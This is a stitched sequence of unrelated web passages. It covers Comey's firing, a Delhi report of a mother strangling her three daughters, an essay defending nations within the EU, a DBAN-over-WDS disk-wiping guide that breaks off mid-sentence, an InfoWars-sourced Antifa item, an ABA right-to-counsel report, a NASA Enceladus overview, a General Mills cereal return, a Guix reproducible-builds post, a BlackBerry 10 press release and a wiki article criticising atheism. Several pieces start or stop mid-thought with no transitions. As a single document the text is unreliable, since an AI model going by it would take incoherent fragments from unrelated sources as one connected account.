Besides, as the president admitted and as Grassley and Graham certainly know, Comey was not fired because of his treatment of Clinton. “When I decided to just do it,” Trump told Lester Holt two days after Comey’s firing, “I said to myself — I said, you know, this Russia thing with Trump and Russia is a made-up story.” Further evidence that the firing was about the Russia investigation came Friday: News broke that Trump and top aide Stephen Miller drafted a multi-page letter to explain Comey’s dismissal, which included “Trump’s frustration that Comey was unwilling to say publicly that Trump was not personally under investigation” in the Russia probe.
A senior police officer said the three daughters of the woman were found lying unconscious on the ground next to the tree, where she tried to hang herself using her dupatta.
Initial investigations into the crime has revealed that the woman was depressed because of the frequent taunts and insults from her family members and neighbours for not having given birth to a male child.
The woman has been identified as Radha Devi who lives in Sangam Vihar locality of south Delhi with her husband Raju Singh. The minor girls were identified as Sulena, 8-months-old, Gealini, 3-years-old and Punita, 8-years-old. Though, the police were waiting for the autopsy reports of the dead children, a preliminary medical report suggested that the kids might have been strangulated to death by their mother.
Mandeep Singh Randhawa, deputy commissioner of police, said that the police control room received a call at 8.30pm on Monday regarding the death of a woman and her three children.
A police team immediately rushed to the spot from where the PCR call was made. Eyewitnesses told the police that the woman was found hanging from a tree by some passersby who immediately brought her down and thereby helped in saving her life. Her daughters, however, were found lying unconscious.
"The victims were rushed to ESI Hospital where doctors pronounced the minor girls dead on admission. Since the woman's condition was also serious, the doctors immediately shifted her to Safdarjung Hospital where she is undergoing treatment," said Randhawa. The woman's condition later was stated to be out of danger.
A case of murder and attempt to suicide was registered at the Ambedkar Nagar police station and investigations taken up. Police questioned Radha's family members and learnt that she had called her husband on his mobile phone before and informed him about her intentions before the incident.
"We are probing the case to ascertain what actually triggered the woman to kill her daughters and attempt to kill herself. We have learnt that she was undergoing treatment for anxiety and depression,” a senior police officer said.
Such an opinion is daring but, it is no less dangerous for pro-European positions . Such a proposition, which some describe as extremist (it calls for the destruction of nation-states, after all) will pit the people against the idea of a European Union and will pose difficulty for the proponents of a federal, democratic and subsidiary Europe.
Nations Are Indispensable to the Union
“National activities are incompatible with the European project..” But who signed the founding treaties that gave birth to the EU? If the Union asks its nations “Who made you duke?” they will answer “Who made you king?” Nations are not eternal, certainly, but their disappearance has always been the result of military defeat or natural disasters. Go tell the people that their “irrational” nation is incompatible with the European project and they will make a quick decision.
The third partition of Poland, the annexation of Zaporozhian Ukraine or the creation of the Grand Duchy of Finland within the Russian Empire destroyed the state structures and humiliated the nations. Today, the nations rushed to the European model. Why? Because besides bringing prosperity, this model fundamentally respects the nations and their institutional expression: the States.W hatever the level of integration of the European civil society, it will remain founded on the nations of which it is composed. History is dotted with examples of empires who tried to crush the system of nations. Empires disappeared while nations live on. The European revolution is precisely the construction of an empire hand in hand with the nations (The Council), the people (The Parliament) and the general interest of the Union (the Commission). Achieving success as such is an arduous task, but it is possible if we remember that each part of the triptych is essential to the others.
“Europe will never be a nation,” otherwise we will inevitably reignite the tragic epoch of nationalism. If the EU is not a nation, it will be a federation, but borders will be an imperative. This notion seems to scare Mr. Ferghane Azihari, who sees in it a resurgence of nationalism and thus necessarily xenophobia. But the only way to define ourselves is to compare with the Other. When we are afraid to exclude people, we do not define ourselves and tit is a terrible mistake: when people don’t know who they are, they either suffer from amnesia or schizophrenia . Would the EU then be the only entity in the world not able to define itself? We might as well say that such an identity crisis would not prompt any new membership. Who would adhere to a ghost? Defining oneself means choosing… and excluding… but at least it means existing.
The European Union is not only a rational project, and that’s for the best!
Here, it is about “constitutional patriotism” where notions such as “democracy,” “rule of law” and “human rights” would be the common values which Mr. Ferghane Azihari thinks are universal. Again, we must understand that these values are artificial: they are the product of millennia of civilization and the Europeans are attached to them. But to believe for a moment that these will suffice in conquering the hearts of millions reveals a “touching naiveté". It is tantamount to denying the crucial part of symbols, traditions, history – in short, culture – which requires more than the sole “reason” or “rationality.” If we remove the irrationality of a human being, we reduce him, we deny him. When we build a political project, we actually become ourselves irrational. We get out of the Human field. A commitment to the Union will come through symbols, strong actions and our history. It will also come through prosperity, without which the project is meaningless. It’s not the States that should change, but rather the mentalities of the EU citizens, those who will feel proud in front of the English and European flags floating together on the basis of our military, scientific and economic successes.
Empires and nations can and must coexist
The nation would be an irrational construction and we should go beyond it in order to keep only Reason, which is the driving force behind the European project. However, the nation is precisely the product of reason, admittedly primitive, which emancipates a territory and its people from the political trusteeship of an entity considered as external-. The nation is the product, historically parallel and consubstantial, of the creation of a State. It is everything except an ideology – it is the pure “Reason of State.” Reason is what prevents us from going to a higher degree of European integration.
Even when it transformed into an empire, Rome prospered by keeping and guarding the gods, the institutions and the rights of the peoples it conquered. The durability of Roman institutions is the result of a subtle equilibrium between the Empire and its nations. As commendable as the imperial concept was, however, Rome ended up putting the Romani at the same level of importance as other peoples such as the Burgundians, the Visigoths, the Bulgarians and the Franks. The emperor, origin of all honors , distributed the title of “rex” to all the leaders who, notably after Constantine, bowed themselves to Roman might. So was born the first imperial world, which rested on a foundation of “nationhood.” Today, Nations are the bearers/carriers of this new kind of peaceful Empire. . The imperial concept only dies from the absence of vision and ideals: notions that are not only sustained/rooted/based on reason, for reason stifles idealism.
But the proponents of a closer Europe are idealists. And that is a good thing. Considering the State as “vulgar instruments” and the nations as “runts” is not enough to demonstrate the uselessness of an entity that paradoxically gave birth to human rights and the state of law, values which would only have a link with the EU. And saying the contrary would be like not grasping the meaning of flags, armies and sport teams.
With such a stand Mr Ferghane Azihariyou will pit all the peoples against their civilization. When you ask to make a choice between Europe and nations, you oppose the “part” to the “whole”, the component to the structure, daughter “culture” to her mother “civilization”. Europe is nations; nations are Europe. You try to divide what is one.
Objective:
The purpose of this document is to provide a guide to boot a DBAN image from the WDS server, in order to erase the HDD in a safer way.
Advantages of having DBAN in the WDS menu:
Normally the DBAN is installed onto a pen drive and local team boots from it in each wor kstation they want to erase securely. If there is a need to perform this task in bulk, it will be time consuming, by booting DBAN from the WDS just a network connection to the deploy VLAN is needed, after the machine boots the process run automatically without any user intervention.
Pre-requisites:
Administrator access to a WDS server.
Windows server 2012 R2 with MDT 201 3 installed. (Not tested but should work on other OS versions).
Download the DBAN ISO from website .
What are we doing? (Technical details):
WDS relies on PXE (Pre-exec ution environment) to display a menu which let you select over a different set of .wim files to deploy the desired image
. There is no way to modify the PXE from Windows and it’s
only managed by GUI, this means that if we want to deploy an OS which is not compressed in a .wim file
According to InfoWars, the New Jersey Department of Homeland Security is now listing Antifa as a terrorist organization within their ranks.
“Under the heading ‘Anarchist Extremists: Antifa’, the njhomelandsecurity.gov website characterizes Antifa under the designation of “domestic terrorism.'”
The New Jersey Department of Homeland Security has stated on their website:
“Self-described Antifa groups have been established across the United States and in several major cities, including New York, Philadelphia, Chicago, and San Francisco. A majority of New Jersey-based anarchist groups are affiliated with the Antifa movement and are opposed to ‘fascism,’ racism, and law enforcement. Antifa groups coordinate regionally and have participated in protests in New York City and Philadelphia. There are three loosely organized chapters in New Jersey, known as the North Jersey Antifa, the South Jersey Antifa, and the HubCity Antifa New Brunswick (Middlesex County).”
NJDHS has even released a PDF explaining their listing, complete with a background and nationwide analysis documenting violence against far right protesters and organizations, including the Patriots Day Free Speech Rally in Berkeley, California and the “Make America Great Again“ Rally in Philadelphia, Pennsylvania.
Will New Jersey set a precedent for other states to take action against the far-left organization? Will this news send a message to the Antifa that their antics will not be tolerated?
Later that day in September 2016, a group of five defendants was called up by a local prosecutor and offered the previously arranged plea deals, some of which might have resulted in days behind bars. One defendant asked to see a judge. The prosecutor said that was not possible, and that her only choice at that moment was to plead guilty, or to plead not guilty and go to trial. The defendant could only speak to the judge, the prosecutor said, if she rejected the plea offer. Again, none of the defendants was told they had the right to see a lawyer before entering any plea.
The scenes in Nashville’s Court 1A last year are included in an American Bar Association report examining what the organization sees as one of the most routine constitutional violations taking place in U.S. courts every day: the failure to notify indigent defendants facing misdemeanor charges that can carry jail time that they are entitled to a lawyer. The report, done by the association’s section on civil rights and social justice, was approved and released by the ABA’s board Friday afternoon.
The report’s authors declined to comment on the ABA effort, saying that the document speaks for itself.
“Volunteer lawyers repeatedly observed both judges and prosecutors violate indigent defendants’ right to counsel under Tennessee law,” the report states.
Nashville District Attorney Glenn Funk did not reply to an inquiry sent to his office seeking comment on the report.
The ABA report said the lack of counsel for defendants facing misdemeanor charges punishable with time behind bars is “an extremely serious and pervasive problem that can no longer be ignored or tolerated.”
The report points to a number of studies in recent years that had begun to better document the problem, including work the ABA had done in several states in 2006. “There is a shocking disconnect between the system of justice envisioned by the Supreme Court’s right-to-counsel decisions and what actually occurs in many of this nation’s misdemeanor courts,” it says.
The report cites two Supreme Court decisions in establishing that many of those charged with misdemeanors are entitled to a lawyer. A 1972 case said that such lawyers were required even in misdemeanor cases, absent a “valid waiver of counsel” by the defendant. Thirty years later, the report stated, the court made clear that defendants being offered suspended sentences — deals that spare defendants immediate imprisonment so long as they meet certain conditions — were also due representation by a lawyer.
In Nashville, the ABA had volunteer lawyers spend Sept. 12, 2016, in Davidson County General Sessions Court. The ABA described the effort as the launch of a national project to “review practices in misdemeanor courts in other states throughout the country.” In Tennessee, there are state provisions that make explicit the right to a lawyer, even for those facing misdemeanor charges.
The defendants in the courtrooms monitored by the ABA were typically facing minor drug charges or driving with suspended licenses, offenses that could result in jail time. The report describes an assembly-line atmosphere, done almost entirely without the presence of defense lawyers.
When a judge did turn up in Court 1A, she merely confirmed with the court clerk that plea deals had been signed, according to the report.
“The judge did not inquire whether the defendants understood the plea agreement or its consequences; did not inform defendants of their right to counsel and to a trial; and did not ask if defendants were waiving any of their rights,” the report states. “After accepting the pleas, the judge announced that she would return to the bench after the clerk had seven more pleas prepared. During the morning’s court session, this process was repeated several times.”
Joseph Ozment, president of the Tennessee Association of Criminal Defense Lawyers, said the prosecutors are not looking out for the defendant’s rights. Ozment also blamed the judges overseeing the cases.
“I think it’s an ethical conflict for the district attorney, I think they’re putting themselves in a position of representing a defendant when they start advising them of rights,” he said. “The trouble is that the judges let this practice go on. There’s a judge in that courtroom that can say, ‘No, I’m not allowing you to do this.’ Why the judges are allowing this is more troubling than the fact that the district attorney is doing it.”
Ozment said judges may allow the practice to lower their caseload and to dispose of cases quickly.
“I think it’s a situation where a judge is more concerned with the number of cases in his courtroom than making sure that the prosecutor is doing their job and the defendant’s rights are protected.”
Presiding Judge Gale Robinson in Nashville did not respond to a request for comment sent to him Friday through the state’s Administrative Office of the Courts.
The report also states that the ABA’s observers did not see the prosecutor inform defendants that there is a waiver process if they couldn’t afford to pay fees or fines.
The ABA lawyers spoke in detail with the woman who asked to see the judge and rejected a plea deal.
“She was a single black woman, age 37, with three children, ages 14, 10, and 8,” the report states. “Her disabled grandmother also lived with her. She worked two jobs to take care of her family and brought home just under $1200 monthly. After paying rent of $715, she had very little left to meet everyone’s needs. She reported having been to Court 1A five times in the past two years, facing charges of driving on a suspended license. Each time, her experience was the same. She was assessed a fine she could not afford and, for this reason, she was unable to get her license reinstated.”
A court bailiff overheard the ABA lawyers talking with the defendant. The bailiff then informed the defendant that she could go to the clerk’s office on a different floor of the courthouse and ask for a waiver that might lower the amount of the fine. The defendant told the ABA lawyers that during her previous appearances in Nashville’s courts, she was never told about the form even after telling the court she couldn’t pay the fines.
Several ABA observers then went to the clerk’s office to obtain about a dozen of the forms to make them available in Court 1A.
“The clerk replied she was only permitted to hand out one copy, and people who needed them had to request them from her directly,” the report states. “When the observers asked how defendants were supposed to know that these forms existed, she replied they would have to know they existed in order to request them.”
Overview
Few worlds in our solar system are as compelling as Saturn’s icy ocean moon Enceladus. A handful of worlds are thought to have liquid water oceans beneath their frozen shell, but Enceladus sprays its ocean out into space where a spacecraft can sample it. From these samples, scientists have determined that Enceladus has most of the chemical ingredients needed for life, and likely has hydrothermal vents spewing out hot, mineral-rich water into its ocean.
About as wide as Arizona, Enceladus also has the whitest, most reflective surface in the solar system. The moon creates a ring of its own as it orbits Saturn—its spray of icy particles spreads out into the space around its orbit, circling the planet to form Saturn’s E ring.
Enceladus is named after a giant in Greek mythology.
Pictures from the Voyager spacecraft in the 1980s indicated that although this moon is small—only about 310 miles (500 kilometers) across — its icy surface is remarkably smooth in some places, and bright white all over. In fact, Enceladus is the most reflective body in the solar system. For decades, scientists didn’t know why.
Because Enceladus reflects so much sunlight, the surface temperature is extremely cold, about minus 330 degrees Fahrenheit (minus 201 degrees Celsius). But it is not as cold and inactive a place as it appears.
About as wide as Arizona, Enceladus orbits Saturn at a distance of 148,000 miles (238,000 kilometers) between the orbits of two other moons, Mimas and Tethys. Enceladus is tidally locked with Saturn, keeping the same face toward the planet. It completes one orbit every 32.9 hours within the densest part of Saturn's E Ring. Also, like some other moons in the extensive systems of the giant planets, Enceladus is trapped in what’s called an orbital resonance, which is when two or more moons line up with their parent planet at regular intervals and interact gravitationally. Enceladus orbits Saturn twice every time Dione, a larger moon, orbits once. Dione’s gravity stretches Enceladus’ orbit into an elliptical shape, so Enceladus is sometimes closer and other times farther from Saturn, causing tidal heating within the moon.
Parts of Enceladus show craters up to 22 miles (35 kilometers) in diameter, while other regions have few craters, indicating major resurfacing events in the geologically recent past. In particular, the south polar region of Enceladus is almost entirely free of impact craters. The area is also littered with house-sized ice boulders and regions carved by tectonic patterns unique to this region of the moon.
In 2005, NASA’s Cassini spacecraft discovered that icy water particles and gas gush from the moon’s surface at approximately 800 miles per hour (400 meters per second). The eruptions appear to be continuous, generating an enormous halo of fine ice dust around Enceladus, which supplies material to Saturn's E-ring. Only a small fraction of the material ends up in the ring, however, with most of it falling like snow back to the moon’s surface, which helps keep Enceladus bright white.
NASA’s Cassini spacecraft captured this image of Enceladus on Nov. 30, 2010. The shadow of the body of Enceladus on the lower portions of the jets is clearly visible. Image Credit: NASA/JPL-Caltech/Space Science Institute
The water jets come from relatively warm fractures in the crust, which scientists informally call the “tiger stripes.” Several gases, including water vapor, carbon dioxide, methane, perhaps a little ammonia and either carbon monoxide or nitrogen gas make up the gaseous envelope of the plume, along with salts and silica. And the density of organic materials in the plume was about 20 times denser than scientists expected.
From gravity measurements based on the Doppler effect and the magnitude of the moon’s very slight wobble as it orbits Saturn, scientists determined that the jets were being supplied by a global ocean inside the moon. Scientists think that the moon’s ice shell may be as thin as half a mile to 3 miles (1 to 5 kilometers) at the south pole. The average global thickness of the ice is thought to be about 12 to 16 miles (20 to 25 kilometers).
Since the ocean in Enceladus supplies the jets, and the jets produce Saturn’s E ring, to study material in the E ring is to study Enceladus’ ocean. The E ring is mostly made of ice droplets, but among them are peculiar nanograins of silica, which can only be generated where liquid water and rock interact at temperatures above about 200 degrees Fahrenheit (90 degrees Celsius). This, among other evidence, points to hydrothermal vents deep beneath Enceladus’ icy shell, not unlike the hydrothermal vents that dot Earth’s ocean floor.
With its global ocean, unique chemistry and internal heat, Enceladus has become a promising lead in our search for worlds where life could exist.
Discovery
British astronomer William Herschel spotted Enceladus orbiting Saturn on 28 August 1789.
How Enceladus Got Its Name
Enceladus is named after the giant Enceladus of Greek mythology. William Herschel's son John Herschel suggested the name in his 1847 publication Results of Astronomical Observation made at the Cape of Good Hope, in which he suggested names for the first seven Saturnian moons discovered. He chose these names in particular because Saturn, known in Greek mythology as Cronus, was the leader of the Titans.Additional Resources
Additional Resources
https://saturn.jpl.nasa.gov
https://saturn.jpl.nasa.gov/science/enceladus/
https://saturn.jpl.nasa.gov/news/3023/hydrothermal-activity/
https://saturn.jpl.nasa.gov/news/3020/the-moon-with-the-plume/
https://saturn.jpl.nasa.gov/news/3021/put-a-ring-on-it/
https://saturn.jpl.nasa.gov/news/3022/free-samples/
Twitter: https://twitter.com/CassiniSaturn
"He's watching FOX, getting mad about people that attack me. I feel like I'm making a contribution to keep him strong," Bush said
Muscatine, Iowa (CNN) Jeb Bush said Tuesday that his 91-year-old father, who's still wearing a neck brace after fracturing a vertebrae this summer, is doing better, adding that his own candidacy is helping to lift "his spirits."
"I noticed he's not watching CSI reruns anymore," he said to laughs at a campaign stop in Muscatine, Iowa. "He's watching FOX, getting mad about people that attack me. I feel like I'm making a contribution to keep him strong."
The former Florida governor described his father, former President George H.W. Bush, as "strong as a goat."
The elder Bush and first lady Barbara Bush, will move back to Houston soon, leaving their summer home in Kennebunkport, Jeb Bush said.
Bush is frequently asked by concerned voters about his parents on the campaign trail. In July, Bush said he first started noticing that his dad was improving when he started telling "semi-dirty jokes" to the nurses, and later in August, when his mom started letting the former president have dry martinis again.
Cereal fans rejoice: French Toast Crunch is back on U.S. shelves after an eight-year absence.
General Mills announced the news Friday on the General Mills blog and via Twitter.
The breakfast cereal is shaped like tiny pieces of toast and tastes like cinnamon and syrup. It entered the market in 1995, but was discontinued in 2006.
It's available again in select grocery stores and will be widely distributed by the end of January. The company said it's back by popular demand.
"We have been overwhelmed by the consumer conversations, requests and passion for the cereal to come back," Waylon Good, a marketing manager at General Mills, said in the blog post.
People celebrated the return using the hashtag #FrenchToastCrunchIsBack.
I just read the most exciting thing ever #FrenchToastCrunchIsBack my life is complete — Gabbie Bradford (@gabbraneice_26) December 8, 2014
Shedding real tears because they're bringing my favorite cereal back @GeneralMills#FrenchToastCrunchIsBack — kass (@kasslovescats) December 5, 2014
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What we stand for
GNU Guix is committed to improving the freedom and autonomy of computer users. This obviously manifests in the fact that GuixSD is a fully free distro, and this is what GNU stands for. All the packages in Guix are built from source, including things like firmware where there is an unfortunate tendency to use pre-built binaries; that way, users can know what software they run. On the technical side, Guix also tries hard to empower users by making the whole system as hackable as possible, in a uniform way—making Freedom #1 practical, à la Emacs.
Guix provides pre-compiled binaries of software packages as a service to its users—these are substitutes for local builds. This is a convenient way to save time, but it could become a threat to users if they cannot establish that those substitutes are authentic—that their Corresponding Source really is what it claims to be.
Reproducible builds
We view “reproducible builds” as a technical means to an end: that of guaranteeing user autonomy and safety. What matters here is that, if package build processes are reproducible, then users actually have a chance to verify that the substitutes (pre-compiled binaries) they download correspond to the source code that supposedly produced them.
Guix builds packages in a fully isolated environment to maximize reproducibility—a crucial feature inherited from Nix. Thus, by construction, very few variations are possible between separate instances of a build environment; the set of files accessible in the environment, the host name, environment variables, locale, and so on are fully under control and cannot change. This eliminates a whole class of possible discrepancies between independent builds.
The only things that may vary are the kernel, and the hardware. The most prominent example of how ‘hardware’ details can leak into a build process are timestamps: it’s unfortunately quite common for build processes to query the system clock and record it in build outputs. Eelco Dolstra, Andres Löh, and Nicolas Pierron described sources of non-determinism in their 2010 JFP paper about NixOS, along with a study on how this affects packages of the distribution in practice. The Reproducible Debian project has since made a similar evaluation but at a larger scale, and with a larger number of independent builds, thereby providing more insight.
Reproducible Debian has demonstrated one thing: contrary to what one might expect, sources of non-determinism are common in build processes. To eliminate the sources of non-determinism that remain in spite of the isolation techniques used in Nix and Guix, the most viable approach appears to be to fix upstream projects that suffer from these problems—one by one.
The reproducible-builds.org project is a great effort to try and address that collectively. We are glad Guix hackers were invited to participate in the first Reproducible Build Summit organized by the project, which will take place in December.
Going further
How can we take advantage of the fact that builds are reproducible, when they are, to actually empower users? There are several things we can do.
First, users must be able to build software locally in the same way distribution developers would do it. This possibility is an integral part of the transparent source/binary deployment model provided by functional package management; Guix users can use the --no-substitutes command-line option to force a local build.
Second, we must make it easy for users to use the binary provider of their choice, and possibly to use several of them, something that Guix allows.
Third, it must be equally simple for any user to publish their locally-built binaries as a way to improve diversity and avoid any single point of failure or trust. The guix publish command is a simple way to serve signed binaries over HTTP. A fully peer-to-peer approach based on GNUnet was tackled as part of GSoC 2015; the code needs more work before it can be integrated into Guix, but the approach is promising.
Last but not least, users must be able to challenge binary providers by themselves. The ability to verify binaries should not be the privilege of power developers. To address that, the just-released 0.9.0 version of GNU Guix provides a new command called guix challenge. The command allows users to automatically compare the build results of their local builds against those served by one or more binary providers. It allows both to find out about non-reproducible builds—and indeed, has already proved to be fruitful, and possibly to find out about compromised servers.
This and other matters were discussed in a Guix talk earlier this week (slides). We strongly believe in a future where the ability to authenticate distribution-provided binaries will be commonplace. Let’s build it!
About GNU Guix
GNU Guix is a functional package manager for the GNU system. The Guix System Distribution or GuixSD is an advanced distribution of the GNU system that relies on GNU Guix and respects the user's freedom.
In addition to standard package management features, Guix supports transactional upgrades and roll-backs, unprivileged package management, per-user profiles, and garbage collection. Guix uses low-level mechanisms from the Nix package manager, except that packages are defined as native Guile modules, using extensions to the Scheme language. GuixSD offers a declarative approach to operating system configuration management, and is highly customizable and hackable.
GuixSD can be used on an i686 or x86_64 machine. It is also possible to use Guix on top of an already installed GNU/Linux system, including on mips64el and armv7.
Remember all those big hints Twitter gave about not developing client apps any more? Well that’s working out well for them. It turns out their own, in-house client app for the iPhone is the worst of all the major Twitter apps for hogging data. In fact the official Twitter App uses double the data of the Tweetdeck iPhone app, according to a new study by mobile data management startup Onavo. Perhaps it’s just as well Twitter bought Tweetdeck recently…
Of course, double the data usage can end up meaning double the cost, depending on your mobile contract and if you are roaming abroad. We’ve reached out to Twitter for comment on this.
Since most mobile operators – including AT&T – now only offer capped data plans, iPhone users need to watch their data. Onavo found that the difference between Twitter for iPhone and TweetDeck could be as much as $2 a session, under the most extreme data plans.
Onavo (an app which manages data on the iPhone which runs in the background) also found:
• More than one in five (22%) iPhone users in the US have a Twitter app installed. In Spain this rises to 34%, in China in drops to 7%.
• The most popular client is the native Twitter app (Twitter for iPhone – 65%), followed by TweetDeck and TweetBot (8% each) and EchoFon (4%)
• No two Twitter clients are the same when it comes to data consumption:
– The most efficient is TweetDeck, followed by TweetBot
– The biggest data hog: Twitter for iPhone, followed by EchoFon
Of course, although a 140 character tweet doesn’t cost much, just check your Twitter timeline once a day for a month and you could use 3MB more data on Twitter than Tweetdeck.
Check out the press release below for more details.
Press Release
Waterloo, ON – Research In Motion (RIM) (NASDAQ: RIMM; TSX: RIM) announced today that it will hold its BlackBerry® 10 launch event on January 30th, 2013. The event will happen simultaneously in multiple countries around the world. This day will mark the official launch of its new platform – BlackBerry 10, as well as the unveiling of the first two BlackBerry 10 smartphones. Details on the smartphones and their availability will be announced at the event.
“In building BlackBerry 10, we set out to create a truly unique mobile computing experience that constantly adapts to your needs. Our team has been working tirelessly to bring our customers innovative features combined with a best in class browser, a rich application ecosystem, and cutting-edge multimedia capabilities. All of this will be integrated into a user experience – the BlackBerry Flow – that is unlike any smartphone on the market today,” said Thorsten Heins, President and CEO of Research In Motion. “Thanks to our strong partnerships with global carriers and a growing ecosystem of developers, we believe our customers will have the best experience possible with BlackBerry 10. We are looking forward to getting BlackBerry 10 in the hands of our customers around the world.”
BlackBerry 10 will offer a large catalog of the leading applications from across the globe and across all categories, including Games, Productivity, Social, Lifestyle and Leisure, Multimedia and Published Content, as well as applications designed for business and enterprise use.
The BlackBerry® 10 platform has recently achieved FIPS 140-2 certification, which means that government agencies will be able to deploy BlackBerry 10 smartphones and BlackBerry® Enterprise Service 10 as soon as it is available. This marks the first time BlackBerry products have been certified ahead of their launch. In addition, RIM recently announced that BlackBerry 10 smartphones have now entered more than 50 carrier labs with many more entries expected in the coming weeks.
Some key features of the new BlackBerry 10 devices already unveiled recently include:
BlackBerry Flow and BlackBerry Hub
BlackBerry® Flow is a new user experience that allows seamless navigation across open applications and the BlackBerry® Hub. All messages, notifications, feeds, and calendar events come into the BlackBerry Hub and no matter what the user is doing with the device, with a simple gesture, they can peek into the Hub at any time.
ADVERTISEMENT
BlackBerry Keyboard
The BlackBerry Keyboard learns how you write and adapts to how you type so you can write faster and more accurately, giving you the kind of legendary typing experience that only BlackBerry can deliver.
BlackBerry Balance
BlackBerry® Balance™ offers the most elegant way to satisfy both customer and corporate needs without compromising on either. With BlackBerry Balance, personal apps and information are kept separate from work data, and the customer can switch from their personal to work profile with a simple gesture. The work profile is fully encrypted and secure, enabling organizations to protect their content and applications, while at the same time letting customers get the most out of their smartphone for their personal use.
Details about BlackBerry 10 can be found at: www.blackberry.com/ blackberry10
About Research In Motion
Criticism of atheism is criticism of the concepts, validity, or impact of atheism, including associated political and social implications. Criticisms include positions based on the history of science, findings in the natural sciences, theistic apologetic arguments, arguments pertaining to ethics and morality, the effects of atheism on the individual, or the assumptions that underpin atheism.
Various contemporary agnostics like Carl Sagan[1] and theists such as Dinesh D'Souza[2] have criticised atheism for being an unscientific position. Analytic philosopher Alvin Plantinga, Professor of Philosophy Emeritus at the University of Notre Dame, argues that a failure of theistic arguments might conceivably be good grounds for agnosticism, but not for atheism; and points to the observation of an apparently "fine-tuned Universe" as more likely to be explained by theism than atheism. Oxford Professor of Mathematics John Lennox holds that atheism is an inferior world view to that of theism and attributes to C.S. Lewis the best formulation of merton's thesis that science sits more comfortably with theistic notions on the basis that Men became scientific in Western Europe in the 16th and 17th century "[b]ecause they expected law in nature, and they expected law in nature because they believed in a lawgiver.' In other words, it was belief in God that was the motor that drove modern science". American geneticist Francis Collins also cites Lewis as persuasive in convincing him that theism is the more rational world view than atheism.
Other criticisms focus on perceived effects on morality and social cohesion. The Enlightenment philosopher Voltaire, a deist, saw godlessness as weakening "the sacred bonds of society", writing: "If God did not exist, it would be necessary to invent him". The father of classical liberalism, John Locke, believed that the denial of God's existence would undermine the social order and lead to chaos. Edmund Burke, an 18th-century Irish philosopher and statesman praised by both his conservative and liberal peers for his "comprehensive intellect", saw religion as the basis of civil society and wrote that "man is by his constitution a religious animal; that atheism is against, not only our reason, but our instincts; and that it cannot prevail long". Pope Pius XI wrote that Communist atheism was aimed at "upsetting the social order and at undermining the very foundations of Christian civilization". In the 1990s, Pope John Paul II criticised a spreading "practical atheism" as clouding the "religious and moral sense of the human heart" and leading to societies which struggle to maintain harmony.[3]
The advocacy of atheism by some of the more violent exponents of the French Revolution, the subsequent militancy of Marxist–Leninist atheism and prominence of atheism in totalitarian states formed in the 20th century is often cited in critical assessments of the implications of atheism. In his Reflections on the Revolution in France, Burke railed against "atheistical fanaticism". The 1937 papal encyclical Divini Redemptoris denounced the atheism of the Soviet Union under Joseph Stalin, which was later influential in the establishment of state atheism across Eastern Europe and elsewhere, including Mao Zedong's China, Kim's North Korea and Pol Pot's Cambodia. Critics of atheism often associate the actions of 20th-century state atheism with broader atheism in their critiques. Various poets, novelists and lay theologians, among them G. K. Chesterton and C.S. Lewis, have also criticized atheism. For example, Chesterton holds that "[h]e who does not believe in God will believe in anything".[4]
Definitions and concepts [ edit ]
Atheism is the absence of belief that any gods exist,[5][6] the position that there are no gods,[7] or the rejection of belief in the existence of gods.[8]
Deism is a form of theism in which God created the universe and established rationally comprehensible moral and natural laws but does not intervene in human affairs through special revelation.[9] Deism is a natural religion where belief in God is based on application of reason and evidence observed in the designs and laws found in nature.[10] Christian deism refers to a deist who believes in the moral teachings but not the divinity of Jesus.
Arguments and positions [ edit ]
The last 50 years has seen an increase in academic philosophical arguments critical of the positions of atheism arguing that they are philosophically unsound.[11] Some of the more common of these arguments are the presumption of atheism,[12] the logical argument from evil,[13] the evidential argument from evil,[14][15][16] the argument from nonbelief[17] and absence of evidence arguments.
The Presumption of Atheism [ edit ]
In 1976, atheist philosopher Antony Flew wrote The Presumption of Atheism in which he argued that the question of God's existence should begin by assuming atheism as the default position. According to Flew, the norm for academic philosophy and public dialogue was at that time for atheists and theists to both share their respective "burdens of proof" for their positions.[18][19] Flew proposed instead that his academic peers redefine "atheism" to bring about these changes:
What I want to examine is the contention that the debate about the existence of God should properly begin from the presumption of atheism, that the onus of proof must lie upon the theist. The word 'atheism', however, has in this contention to be construed unusually. Whereas nowadays the usual meaning of 'atheist' in English is 'someone who asserts that there is no such being as God, I want the word to be understood not positively but negatively... in this interpretation an atheist becomes: not someone who positively asserts the non-existence of God; but someone who is simply not a theist. The introduction of this new interpretation of the word 'atheism' may appear to be a piece of perverse Humpty-Dumptyism, going arbitrarily against established common usage. 'Whyever', it could be asked, don't you make it not the presumption of atheism but the presumption of agnosticism?[18] — Excerpts from The Presumption of Atheism, Anthony Flew, 1976
Flew's proposition saw little acceptance in the 20th century though in the early 21st century Flew's broader definition of atheism came to be forwarded more commonly.[20][21] In 2007, analytic philosopher William Lane Craig's described the presumption of atheism as "one of the most commonly proffered justifications of atheism".[22] In 2010, BBC journalist William Crawley explained that Flew's presumption of atheism "made the case, now followed by today's new atheism" arguing that atheism should be the default position.[19][23] In today's debates, atheists forward the presumption of atheism arguing that atheism is the default position[24][25] with no burden of proof[26][27] and assert that the burden of proof for God's existence rests solely on the theist.[18][28][29]
The presumption of atheism has been the subject of criticism by atheists,[30][31] agnostics[32] and theists[33][34] since Flew advanced his position more than 40 years ago.
Criticism of the presumption of atheism [ edit ]
The agnostic Analytic Philosopher Anthony Kenny rejected the presumption of atheism on any definition of atheism arguing that "the true default position is neither theism nor atheism, but agnosticism" adding "a claim to knowledge needs to be substantiated, ignorance need only be confessed".[31]
Many different definitions may be offered of the word 'God'. Given this fact, atheism makes a much stronger claim than theism does. The atheist says that no matter what definition you choose, 'God exists' is always false. The theist only claims that there is some definition which will make 'God exists' true. In my view, neither the stronger nor the weaker claim has been convincingly established".[35] — Excerpt from What I Believe, Anthony Kenny, 2007
[36] Modal logician philosopher Alvin Plantinga is viewed as an important contributor to Christian philosophy
Atheist philosopher Kai Nielsen criticized the presumption of atheism arguing that without an independent concept of rationality or a concept of rationality that atheists and theists can mutually accept, there is no common foundation on which to adjudicate rationality of positions concerning the existence of God. Because the atheist's conceptualization of "rational" differs from the theist, Nielsen argues, both positions can be rationally justified.[30][31][37]
